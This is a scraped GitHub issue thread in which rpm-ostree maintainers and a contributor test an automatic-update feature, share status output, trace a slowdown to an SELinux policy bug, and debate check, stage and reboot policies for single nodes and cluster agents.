9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2236'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Contributor This user has previously committed to the rpm-ostree repository.

###  **peterbaouoft ** commented on Jan 30, 2018 •

edited  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='11' class='octicon octicon-triangle-down v-align-middle js-evernote-
checked' viewBox='0 0 12 16' version='1.1' width='8' aria-hidden='true' data-
evernote-id='72'%3e%3cpath fill-rule='evenodd' d='M0 5l6 6 6-6H0z' data-
evernote-id='2247' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Hi, I had a try for the autoupdate. It works nicely for me =\). I do have a
few questions though \(hopefully you won't mind =\) \). **Note: the test
output might be long \(but content should not be that much\)**. I also did not
read many of the comments above, so if I happen to miss something, please let
me know =P 1: When apply the auto-update patch, rpm-ostree status does take
noticeably longer than before. Is that expected?

[code]

    [root@localhost ~]# time rpm-ostree status    
    State: idle; auto updates disabled
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
    
    real	0m0.040s
    user	0m0.023s
    sys	0m0.005s
    
[/code]

vs

[code]

    [root@localhost ~]# time rpm-ostree status -v 
    State: idle; auto updates enabled (check; last run unknown)
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                        Commit: ab75f9249820bd6c32e16ebbf9947322b484aaa9d4164cf573bc7480a1c2a22b
                     StateRoot: fedora-atomic
                  GPGSignature: 1 signature
                                Signature made Tue Jan 16 16:35:22 2018 using RSA key ID F55E7430F5282EE4
                                Good signature from "Fedora 27 <fedora-27@fedoraproject.org>"
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                        Commit: bfb5f4147f4b9aa6d5b0277ec337ee38871cedbcc2e97721609f242f15d3b37c
                     StateRoot: fedora-atomic
                  GPGSignature: 1 signature
                                Signature made Wed Jan 17 15:52:59 2018 using RSA key ID F55E7430F5282EE4
                                Good signature from "Fedora 27 <fedora-27@fedoraproject.org>"
               LayeredPackages: man
    
    Available update:
           Version: 27.61 (2018-01-17 15:52:47)
            Commit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
      GPGSignature: 1 signature
                    Signature made Wed Jan 17 15:52:59 2018 using RSA key ID F55E7430F5282EE4
                    Good signature from "Fedora 27 <fedora-27@fedoraproject.org>"
          Upgraded: docker 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
                    docker-common 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
                    docker-rhel-push-plugin 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
    
    real	0m25.050s
    user	0m0.022s
    sys	0m0.010s
    
[/code]

2: It seems like I have to do an upgrade --preview in order to make rpm-ostree
status show the available update, is that the expected behavior?

[code]

    [root@localhost ~]# rpm-ostree status
    State: idle; auto updates disabled
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
    [root@localhost ~]# vi /etc/rpm-ostreed.conf 
    [root@localhost ~]# cat /etc/rpm-ostreed.conf 
    # Entries in this file show the compile time defaults.
    # You can change settings by editing this file.
    # For option meanings, see rpm-ostreed.conf(5).
    
    [Daemon]
    AutomaticUpdatePolicy=check
    #IdleExitTimeout=60
    [root@localhost ~]# rpm-ostree reload
    [root@localhost ~]# time rpm-ostree status
    State: idle; auto updates enabled (check; last run unknown)
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
    
    real	0m25.064s
    user	0m0.024s
    sys	0m0.006s
    [root@localhost ~]# rpm-ostree upgrade --preview
    1 metadata, 0 content objects fetched; 569 B transferred in 0 seconds
    Enabled rpm-md repositories: updates fedora
    
    Updating metadata for 'updates': [=============] 100%
    rpm-md repo 'updates'; generated: 2018-01-29 17:58:29
    
    Updating metadata for 'fedora': [=============] 100%
    rpm-md repo 'fedora'; generated: 2017-11-05 05:51:47
    
    Importing metadata [=============] 100%
    Available update:
           Version: 27.61 (2018-01-17 15:52:47)
            Commit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
      GPGSignature: 1 signature
                    Signature made Wed Jan 17 15:52:59 2018 using RSA key ID F55E7430F5282EE4
                    Good signature from "Fedora 27 <fedora-27@fedoraproject.org>"
          Upgraded: docker 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
                    docker-common 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
                    docker-rhel-push-plugin 2:1.13.1-42.git4402c09.fc27 -> 2:1.13.1-44.git584d391.fc27
    
    [root@localhost ~]# time rpm-ostree status   
    State: idle; auto updates enabled (check; last run unknown)
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
    
    Available update:
           Version: 27.61 (2018-01-17 15:52:47)
            Commit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
      GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
              Diff: 3 upgraded
    
    real	0m25.069s
    user	0m0.022s
    sys	0m0.010s
    
[/code]

3: Last question, how do I generate a test output so that last run is no
longer unknown in the status? Other than that, the functionality looks nice
=\). Sorry it took long, had to spend time understanding the testing
procedure. And this is the complete test log if you are interested:  
https://paste.fedoraproject.org/paste/F~Nxr4I7w3j3QSctno~jbQ \( also seems
long, read with caution\)  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='73'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2275'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Jan 31, 2018

Thanks @peterbaouoft for trying it out\! :\)

> 1: When apply the auto-update patch, rpm-ostree status does take noticeably
> longer than before. Is that expected?
Ahh, you're probably hitting fedora-selinux/selinux-policy-contrib\#45. You
can either use the same hack we use in the testsuite, or just `setenforce 0`.

> 2: It seems like I have to do an upgrade --preview in order to make rpm-
> ostree status show the available update, is that the expected behavior?
Right. The `reload` only reloads the configuration. The actualy check for
updates happens according to the the `rpm-ostreed-automatic.timer`. You can
also do `rpm-ostree upgrade --trigger-automatic-update-policy` to force a
check. 3: Last question, how do I generate a test output so that last run is
no longer unknown in the status? That's due to the SELinux policy issue above.  
---  
<img src='img/22840230' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='74'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2313'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Contributor This user has previously committed to the rpm-ostree repository.

###  **peterbaouoft ** commented on Jan 31, 2018

> Ahh, you're probably hitting fedora-selinux/selinux-policy-contrib\#45. You
> can either use the same hack we use in the testsuite, or just setenforce 0.
Yup, applying setenforce 0 does make it a lot faster, and seems like also
solve the unknown status problem. 2 birds with one stone\! =P

[code]

    [root@localhost ~]# time rpm-ostree status
    State: idle; auto updates enabled (check; no runs since boot)
    Deployments:
    * ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.60 (2018-01-16 16:35:15)
                    BaseCommit: 972e5a8158b610fec80f3f73f3372b7bea2b841038f2e246aa7623dbf5b5a751
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
                      Unlocked: development
    
      ostree://fedora-atomic:fedora/27/x86_64/atomic-host
                       Version: 27.61 (2018-01-17 15:52:47)
                    BaseCommit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
                  GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
               LayeredPackages: man
    
    Available update:
           Version: 27.61 (2018-01-17 15:52:47)
            Commit: 772ab185b0752b0d6bc8b2096d08955660d80ed95579e13e136e6a54e3559ca9
      GPGSignature: Valid signature by 860E19B0AFA800A1751881A6F55E7430F5282EE4
              Diff: 3 upgraded
    
    real	0m0.047s
    user	0m0.024s
    sys	0m0.008s
    
[/code]

> The actualy check for updates happens according to the the rpm-ostreed-
> automatic.timer. You can also do rpm-ostree upgrade --trigger-automatic-
> update-policy to force a check.
I see, makes sense. Thanks for the explanation\! I am more and more excited
about this new feature now\(auto-update\)\! =D  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='75'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2345'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Feb 8, 2018

> The counter here though is that some use cases want to show e.g. how much
> will be downloaded before actually doing it. And particularly with layering
> involved we can't do that until we depsolve. Which...hm maybe is your check
> phase. So I guess we do need that.
Yeah, I think there's a lot of use cases where you _don't_ want your updater
to auto-download in the background. E.g. for FAW, I'd feel comfortable
shipping with `check` by default, but not `download`/`prepare`. The depsolve
issue is indeed unfortunate but not terrible. I think in the great majority of
cases, our heuristics will work. Perfect is the enemy of good. :\)

> I'm keeping this whole comment here since it might be useful, hopefully?
I think it helps to reason out things explicitly to make sure we're going the
right way\!

> There's a pretty huge semantic difference between reboot and anything not-
> reboot.
To get back to this, I do see where you're coming from. I think in that case,
I'd rather we not ship such a timer at all for now? My initial thoughts before
were to add some of these "policy engine"-like settings to rpm-ostree itself,
such as "auto reboot only for security erratas", or "auto reboot, but not for
layered packages". I still think there's some value in doing this for the lone
server/IoT case, because even though it's not very hard to implement manually,
it makes things really easy to configure OOTB. But I guess that should be a
separate discussion from whether to have a dumb reboot policy at all. So I'd
vote for leaving this out for now until we gain more experience in the managed
workflows like GNOME Software and cluster cases.  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='76'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2375' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099'
width='16' height='16' /> jlebon referenced this issue  on Feb 15, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-closed js-evernote-checked'
viewBox='0 0 16 16' version='1.1' width='14' aria-hidden='true' data-evernote-
id='77'%3e%3cpath fill-rule='evenodd' d='M7 10h2v2H7v-2zm2-6H7v5h2V4zm1.5
1.5l-1 1L12 9l4-4.5-1-1L12 7l-1.5-1.5zM8 13.7A5.71 5.71 0 0 1 2.3 8c0-3.14
2.56-5.7 5.7-5.7 1.83 0 3.45.88 4.5 2.2l.92-.92A6.947 6.947 0 0 0 8 1C4.14 1 1
4.14 1 8s3.14 7 7 7 7-3.14 7-7l-1.52 1.52c-.66 2.41-2.86 4.19-5.48 4.19v-.01z'
data-evernote-id='2378' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/> Closed

####  Possible GetCachedRebaseRpmDiff regression \#1250

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='78'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2384' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099'
width='16' height='16' /> jlebon referenced this issue  on Mar 29, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-git-pull-request js-evernote-checked'
viewBox='0 0 12 16' version='1.1' width='10' aria-hidden='true' data-evernote-
id='79'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='2387' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Closed

####  Add "ex-stage" automatic update policy \#1321

<img src='img/22706' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='80'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2401'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **ashcrow ** commented on Apr 10, 2018 •

edited  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='11' class='octicon octicon-triangle-down v-align-middle js-evernote-
checked' viewBox='0 0 12 16' version='1.1' width='8' aria-hidden='true' data-
evernote-id='81'%3e%3cpath fill-rule='evenodd' d='M0 5l6 6 6-6H0z' data-
evernote-id='2412' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

I tend to think anything that will reboot the node needs to be handled outside
of the daemon directly. The daemon itself \(unless I'm mistaken\) isn't aware
of how many other nodes it lives with and can't initiate a restart without
that possibility of downtime. Instead, having `rpm-ostree` be in a state
noting that it's ready to apply it's update \(or that updates are available\)
seems ideal. Then the external controller can make intelligent decisions based
on state. _Edit: s/agent/daemon/g_  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='82'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2436'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Apr 10, 2018

Yeah...it's tempting to take the `reboot` mode out of rpm-ostreed entirely but
I actually am still today using the timer linked at the top that just does
`rpm-ostree upgrade -r` on my home server, just accepting the downtime. I
should probably switch now to the `reboot` policy but eh. This all ties back
into the \(just posted\) https://pagure.io/atomic-wg/issue/453  
---  
<img src='img/22706' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='83'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2464'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **ashcrow ** commented on Apr 10, 2018

I think having the `-r` is fine. The more I think about it the policy idea
sounds good as well ... but should default to the least surprising setting.
Part of external management systems would be to ensure that the policy is set
to a `download` so it can reliably control when the deployment occurs.  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='84'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2491'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Apr 10, 2018 •

edited  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='11' class='octicon octicon-triangle-down v-align-middle js-evernote-
checked' viewBox='0 0 12 16' version='1.1' width='8' aria-hidden='true' data-
evernote-id='85'%3e%3cpath fill-rule='evenodd' d='M0 5l6 6 6-6H0z' data-
evernote-id='2502' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

One question is whether `rpm-ostreed-automatic` initiates new deployment
creation \(as suggested in the WIP that proposes a new `stage` policy:
\#1321\), or the agent. The former is clearly useful also for single
node/workstation cases. Though in the cluster case, an argument for the latter
is that the agent is a better place to embed policy engine style settings.
E.g. I'm not sure we want to cause updates across the whole cluster if only a
utility layered pkg was updated.  
---  
<img src='img/22706' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='86'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2524'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **ashcrow ** commented on Apr 10, 2018

@jlebon isn't `rpm-ostreed-automatic` still dependent on what policy is set?
If so, we could document how one could set their non agent managed nodes by
changing policy. If they are using the agent then the agent could verify/set
the proper policy it expects. It would follow as:

  1. A single node/group of nodes: We default to downloading updates \(or doing nothing\)
  2. A single node/group of nodes with auto deploy on: We download and deploy with a reboot
  3. A single node/group of nodes managed by an agent: We download updates and defer to the agent to tell us when to deploy and reboot

This is a tricky subject though. My initial feeling is to put as much
orchestration in the agent and as little in rpm-ostree. What keeps me from
outright pushing for that is any agent that is used will likely be tied to a
specific orchestration system or tool. If we try to make a generic agent then
we are basically providing an interface and, to me, that would seem more at
home in rpm-ostree anyway.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='87'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2556'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Apr 11, 2018

> This is a tricky subject though. My initial feeling is to put as much
> orchestration in the agent and as little in rpm-ostree. What keeps me from
> outright pushing for that is any agent that is used will likely be tied to a
> specific orchestration system or tool. If we try to make a generic agent
> then we are basically providing an interface and, to me, that would seem
> more at home in rpm-ostree anyway.
Yeah, that's the core tension. I guess my core feeling is let's not delete
anything that exists in rpm-ostreed today, but I would vote that the Kube
agent initiates updates itself rather than relying on the timer.  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='88'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2588'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Apr 11, 2018

So, from discussions here, I think what we want is "both". I.e. we do want a
"stage" mode that `rpm-ostreed` knows about and enacted by the timer. E.g.
that's something I'd love to have on my workstation. But we also want to be
fully compatible with agents that want to take over all aspects of node
management, including when stage deployments are created \(and obviously when
to reboot\). We could slice this further even into node agents that could
still rely on rpm-ostree's "check" mode to know that a node has an update vs a
more controlled environment where the "update available" signal comes directly
to the agent OOB from some other metadata protocol \(in which case, the rpm-
ostree timer/policy is completely off\).  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='89'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2616'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Apr 11, 2018

> Yeah...it's tempting to take the `reboot` mode out of rpm-ostreed entirely
> but I actually am still today using the timer linked at the top that just
> does `rpm-ostree upgrade -r` on my home server, just accepting the downtime.
> I should probably switch now to the `reboot` policy but eh.
Note that `reboot` is not actually supported right now. Depending on how we
want to implement https://pagure.io/atomic-wg/issue/453 re. the single node
case, it might make sense to add it \(and e.g. let that be the default we ship
with in Fedora\). Though maybe not if there's a bunch of "policy" type things
we want to account for \(e.g. "are any users logged in and how long have they
been idle for?"\). I think I'd rather have that logic live somewhere else.  
---  
<img src='img/22706' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='90'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2645'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **ashcrow ** commented on Apr 11, 2018

> So, from discussions here, I think what we want is "both". I.e. we do want a
> "stage" mode that rpm-ostreed knows about and enacted by the timer. E.g.
> that's something I'd love to have on my workstation.
To clarify, stage mode would download updates and have them ready for
deployment \(not actually deploy\) correct?

> But we also want to be fully compatible with agents that want to take over
> all aspects of node management, including when stage deployments are created
> \(and obviously when to reboot\).
> Note that reboot is not actually supported right now. Depending on how we
> want to implement https://pagure.io/atomic-wg/issue/453 re. the single node
> case, it might make sense to add it \(and e.g. let that be the default we
> ship with in Fedora\). Though maybe not if there's a bunch of "policy" type
> things we want to account for \(e.g. "are any users logged in and how long
> have they been idle for?"\). I think I'd rather have that logic live
> somewhere else.
That makes sense. Assuming staging means downloading and being ready to
deploy, I say lets get that in. Having a timer to deploy and reboot that's
configurable is fine too as long as we can disable the timer deploy portion.
Being able to disable the auto staging would be a nice to have but could be
added at a later time.  
---  
<img src='img/22706' width='44' height='44' />

